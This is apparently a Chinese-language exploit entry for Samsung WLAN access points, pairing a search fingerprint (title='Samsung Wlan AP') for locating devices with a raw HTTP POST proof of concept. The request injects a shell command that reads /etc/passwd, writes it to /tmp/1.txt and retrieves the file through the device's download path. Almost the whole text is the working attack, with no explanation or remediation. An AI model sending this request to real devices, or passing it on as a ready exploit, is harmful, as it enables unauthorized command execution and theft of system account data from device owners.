关键字：title="Samsung Wlan AP"
使用统计：
poc
POST /(download)/tmp/1.txt HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cache-Control: max-age=0
Content-Length: 49
command1=shell%3Acat /etc/passwd|dd of=/tmp/1.txt